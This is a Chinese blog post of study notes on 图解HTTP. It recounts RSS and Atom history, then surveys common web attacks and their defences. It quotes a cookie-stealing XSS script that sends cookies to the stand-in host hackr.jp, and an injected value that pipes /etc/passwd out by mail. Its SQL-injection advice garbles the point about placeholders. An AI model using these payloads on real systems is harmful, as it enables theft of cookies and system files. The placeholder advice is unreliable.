五、《图解HTTP》- RSS和网络攻击方式介绍(上)

171 阅读12分钟

携手创作,共同成长!这是我参与「掘金日新计划 · 8 月更文挑战」的第十五天,点击查看活动详情

本节是关于RSS和常见网络攻击的讨论,RSS似乎总是被认为“为什么还没有消失“的东西,但是个人通过了解和体验之后发现意外的挺好用的,这里补充了一下RSS历史。

而关于网络攻击的部分有时候会成为面试的考点,了解基础的网络攻击手段和常见的防范方式还是有必要的。

5.1 RSS

5.1.1 RSS历史

下面大部分内容来自维基百科,由于多半是理论内容,不做过多解释。

RSS(简单信息聚合)和Atom都是针对新闻和博客日志信息文档格式的合称。

RSS(英文全称:RDF Site Summary 或 Really Simple Syndication)中文译作简易信息聚合,也称聚合内容,是一种消息来源格式规范,用以聚合多个网站更新的内容并自动通知网站订阅者。

使用 RSS 后,网站订阅者便无需再手动查看网站是否有新的内容,同时 RSS 可将多个网站更新的内容进行整合,以摘要的形式呈现,有助于订阅者快速获取重要信息,并选择性地点阅查看。

RSS的历史版本更新如下:

  • RSS 0.9(RDF Site Summary):最初的 RSS 版本。1999 年 3 月由网 景通信公司自行开发用于其门户网站。基础构图创建在初期的 RDF 规格上。
  • RSS 0.91(Rich Site Summary):在 RSS0.9 的基础上扩展元素,于 1999 年 7 月开发完毕。非 RDF 规格,使用 XML 方式编写。
  • RSS 1.0(RDF Site Summary):RSS 规格正处于混乱状态。2000 年 12 月由 RSS-DEV 工作组再次采用 RSS0.9 中使用的 RDF 规格发布。
  • RSS2.0(Really Simple Syndication):非 RSS1.0 发展路线。增加支 持 RSS0.91 的兼容性,2000 年 12 月由 UserLand Software 公司开发完 成。

发展到现在RSS有几个不同的版本,分为两个主要分支(RDF和2.X)

RDF(或 RSS 1.X)分支包括以下版本:

  • RSS 0.90 是最初的Netscape RSS版本。此 RSS 称为 RDF 站点摘要,但基于 RDF 标准的早期工作草案,与最终的 RDF 建议不兼容。
  • RSS 1.0 是 RSS-DEV 工作组的开放格式,再次代表 RDF 站点摘要。RSS 1.0 是一种像 RSS 0.90 一样的 RDF 格式,但与它不完全兼容,因为 1.0 是基于最终的 RDF 1.0 推荐标准。
  • RSS 1.1 也是一种开放格式,旨在更新和替换 RSS 1.0。该规范是一个独立的草案,不受 RSS-Dev 工作组或任何其他组织的任何支持或认可。

RSS 2.X 分支(最初是 UserLand,现在是 Harvard)包括以下版本:

  • RSS 0.91是Netscape发布的简化RSS版本,也是Userland Software的Dave Winer最初倡导的简化版本的版本号。Netscape版本现在被称为_Rich Site Summary_;这不再是RDF格式,但相对易于使用。
  • RSS 0.92 到 0.94 是 RSS 0.91 格式的扩展,它们大多彼此兼容,并且与 Winer 版本的 RSS 0.91 兼容,但与 RSS 0.90 不兼容。
  • RSS 2.0.1 的内部版本号为 2.0。RSS 2.0.1 被宣布为“冻结”,但在发布后不久仍然更新,没有更改版本号。RSS现在代表_真正简单的整合_。此版本中的主要更改是使用 XML 命名空间的显式扩展机制。

5.1.2 Atom

同样没怎么接触的东西,整理百科的内容如下。

Atom是一对彼此相关的标准。Atom供稿格式(Atom Syndication Format)是用于网站消息来源基于XML的文档格式;而Atom出版协定(Atom Publishing Protocol,简称AtomPub或APP)是用于新增及修改网络资源,基于HTTP的协议

它借鉴了各种版本RSS的使用经验,被许多的聚合工具广泛使用在发布和使用上。Atom供稿格式设计作为RSS的替代品;而Atom出版协定用来取代现有的多种发布方式(如Blogger API和LiveJournal XML-RPC Client/Server Protocol)。Google提供的多种服务正在使用Atom。Google Data API(GData)亦基于Atom。

RSS和Atom都得到广泛支持,并与所有主要的消费者提要阅读器兼容。RSS 由于早期订阅源读取器的支持而得到了更广泛的应用。

从技术上讲,Atom有几个优点:限制较少的许可,IANA注册的MIME类型,XML命名空间,URI支持,RELAX NG**支持。

Atom 具有以下两种标准。

Atom 供稿格式(Atom Syndication Format):为发布内容而制定的 网站消息来源格式,单讲 Atom 时,就是指此标准。

Atom 出版协定(Atom Publishing Protocol):为 Web 上内容的新增 或修改而制定的协议。

5.1.3 RSS意义

我们可以知道RSS多数情况下用于网络博客应用的订阅和自己的喜欢的网站信息同步更新获取,个人认为类似换种形式的微信公众号,不过最近这几年微信也在改变算法,推送也从以前的一股脑推送到现在的根据用户的喜好推送。

RSS 放到现在还有意义么?为什么还有人在用呢?RSS订阅最大的意义是 过滤噪声,注意RSS订阅的阅读需要依赖阅读器。

RSS有几个显著优点:

  1. 由被动获取信息到主动获取信息。
  2. 规避各互联网公司的算法。
  3. 屏蔽互联网的噪声。
  4. 返璞归真,并不是所有的“时代倒退”都是错的。

这几点基本也决定了很多平台不会喜欢这东西,因为挡着财路了。

RSS当然有他的缺点,最大的缺点是 **太过于小众了,**所以它有那一天会消失都不奇怪,由于几乎没有利益可图,所以目前在竞争的反倒是做标准的几个势力,也是比较罕见的情况。

实际上,现在还有相当一部分人还在使用RSS。

5.2 WEB攻击介绍

HTTP为了实现其简单高效,在HTTP1.X中保持了无状态的特征,所以本身对于安全防护的能力几乎为0,基本上年年都可以看到重大的网络攻击安全事故,因为根据墨菲定律这种事情总会发生。

攻击方式主要分为主动攻击和被动攻击。

被动攻击的方式主要是利用钓鱼网站或者链接引导用户点击,之后运行攻击代码获取用户电脑的个人信息等,主动攻击则是类似DDos的流量冲击。

多数情况下被动攻击较多,因为几乎没有啥人工成本,而主动攻击基本上是一些具备不小的流量价值的网站,经常会受到类似的攻击。

下面根据书中内容列巨额常见的WEB攻击手段。

5.2.1 XSS攻击

首先是较为常见的是XSS攻击(跨站脚本攻击),主要通过非法的HTML标签或者JS脚本完成攻击,通过预先设置网站陷阱,用户在填写个人的敏感信息的时候就有可能中招。

http://example.jp/login?ID="> <script>var+f=document.getElementById("login");+f.action="h </script><span+s=" 对请求时对应的HTML源代码(摘录)

除了获取登录信息,还有一种手段是通过JS 脚本抓取Cookie的内容直接获取用户的个人信息,比如使用像是下面这样的代码:

var content = escape(document.cookie); 
document.write("<img src=http://hackr.jp/?"); 
document.write(content); 
document.write(">");

5.2.2 SQL注入

SQL注入主要发生在编程开发人员对待SQL不严谨遗留漏洞,进而产生SQL 注入攻击。

比如书中提到了利用类似这样的手段,通过在SQL参数中注入单引号方式,导致后续的SQL内容失效,来获取一些无法访问的信息。

解决的办法也比较简单,需要注意尽量谨慎或者避免使用占位符,而是使用特殊符号比如“?”的方式进行参数替换而不是直接嵌入SQL。

SQL明显也是利用了SQL语法的规则完成这一特殊字符的注入操作,当然更多情况下是网站编程人员不严谨导致的。

如果你认为现在这种事情发生的很少就大错特错了,国内依然存在大量的网站连最为基础的SQL注入问题都没有进行防范。

5.2.3 OS攻击

OS攻击不算少见,云服务器中这几年比较常见的挖矿脚本算是一种,这种跟随开源组件带来的病毒讨厌又恶心。

针对OS攻击具体案例可以看下面使用获取用户邮件的方式找出OS的漏洞,并且通过管道符等命令快速窃取邮箱账户和密码达成盗号的目的。

my $adr = $q->param('mailaddress');

open(MAIL, "| /usr/sbin/sendmail $adr"); 

print MAIL "From: info@example.com\n";

攻击者将下面的值指定作为邮件地址。

; cat /etc/passwd | mail hack@example.jp

程序接收该值,构成以下的命令组合。

| /usr/sbin/sendmail ; cat /etc/passwd | mail [hack@example.jp](mailto:hack@example.jp)

5.2.4 DDos攻击

非常直接并且粗暴野蛮的攻击方式,通过大规模流量击倒目标服务器,让目标服务器一直处于瘫痪状态无法访问。所以也叫做拒绝服务攻击服务停止攻击

DDos的攻击方式主要是下面两种:

  • 集中访问资源过载,实际上是植入需要大量运算的无意义程序耗尽计算机资源。
  • 攻击系统漏洞致使服务停止。通常这种漏洞来源于开源代码的漏洞。比如臭名昭著的FastJson三天两头的爆出漏洞需要修复。

对于攻击者来说,DDos成本很低,因为国外可以通过大量购买肉鸡服务器完成这一操作,但是对于一个在线客户访问的独立网站来说,要防护的方案实际上并不多,多数时候只能“烧钱”来解决问题,原因是无法分辨攻击来源。

5.2.5 目录遍历攻击

目录攻击是利用对于某些权限敏感的路径访问获取用户密码的行为,比如通过脚本尝试获取到/etc/passwd的相关信息。

5.2.6 跨站点请求伪造

也就是常说的CSRF攻击,同样是使用陷阱的方式诱导用户操作,在获取到用户信息之后通过用户的身份完成一些“越界”操作。

5.2.7 会话攻击

会话攻击,对于很多网站Session信息中存储了和用户登录的相关信息,通过各种手段推测或者获取用户ID信息,然后根据这些信息伪造用户身份完成登录操作。

上面这种攻击是会话劫持,通过设陷阱或者暴力方式获取信息,另一种是利用用户登录操作,使用相同的用户ID等待用户操作完成之后拿到当前的会话信息访问,有点类似悄咪咪更在别人身后进门不被发现,等进去只会守到主人离开再进去偷东西。

对于这样的信息防护,简单的处理可以在认证的时候加入IP校验规则,如果同一身份信息但是从不同的IP发出,则可以认为是一种会话内容窃取。

5.2.8 点击劫持

利用网络iframe和透明元素的特性,在原始页面上覆盖被点击按钮,这时候同样会把相关的信息带过去。

5.2.9 密码破解

密码破解的手段通常是穷举法字典攻击,穷举法通常利用用户喜欢把类似生日或者姓名有关的信息作为密码的情况,通过试错的方式进行强制破解,通过制定规则暴力破解,当然通过穷举破解的前提是秘钥的长度够小,另外还有一种是对于已加密到密文进行破解,同样使用查询字典的方式进行试错。

常见的加密破解方式为下面几种:

  • 通过穷举法·字典攻击进行类推:也就是所谓的通过散列函数结合穷举法和字典攻击手法,这种手法适用于使用通用加密函数加密的系统。

  • 彩虹表:彩虹表(Rainbow Table)是由明文密码及与之对应的散列值构成的一张数据库表,被叫做彩虹表是因为里面包含了各种加密函数加密的密文像是“彩虹”一样,目的是减少穷举和字典法的时间开销。 彩虹表是一种比较有效的破解手段。

  • 拿到密钥:通过网路劫持等手段获取到用户公钥并且通过伪造密钥的方法请求目标服务器,最终实现欺骗服务器获取密文的破解手法。

  • 加密算法的漏洞:找算法的漏洞,对于目前主流的信息加密算法基本很难找到漏洞,所以算是成功率非常非常低的手段。

防止密码破解的方式是对于密码错误次数的校验以及短时间内频繁请求进行限制,对于已加密的数据,在原有到密码密文还会加入一个叫做“盐值”的内容。

5.2.10 后门程序

后门程序在发现漏洞的时候设置入口而不是直接攻击。通过后门程序在漏洞上捣鬼,可以实现在日常访问无感知问题的情况下完成信息窃取,由于十分难以发现,后门程序是危险系统很高的WEB攻击方式。

  • 开发阶段作为 Debug 调用的后门程序。
  • 开发者为了自身利益植入的后门程序。
  • 攻击者通过某种方法设置的后门程序。

这里简单说一下第二种在有不少的实际案例,比如简单粗暴的支付网站通过后门程序随机把收款码替换的案例。

还有一种是类似“薅羊毛”的后台程序,通过每一笔订单收取“0.00*N1”的“手续费”,这样的后台程序如果不是火眼金睛基本难以发现,同时虽然数字很小,但是用户量很大的情况下,这种收入实际上是一笔巨款。

这些东西都是高压线,千万不要尝试哟!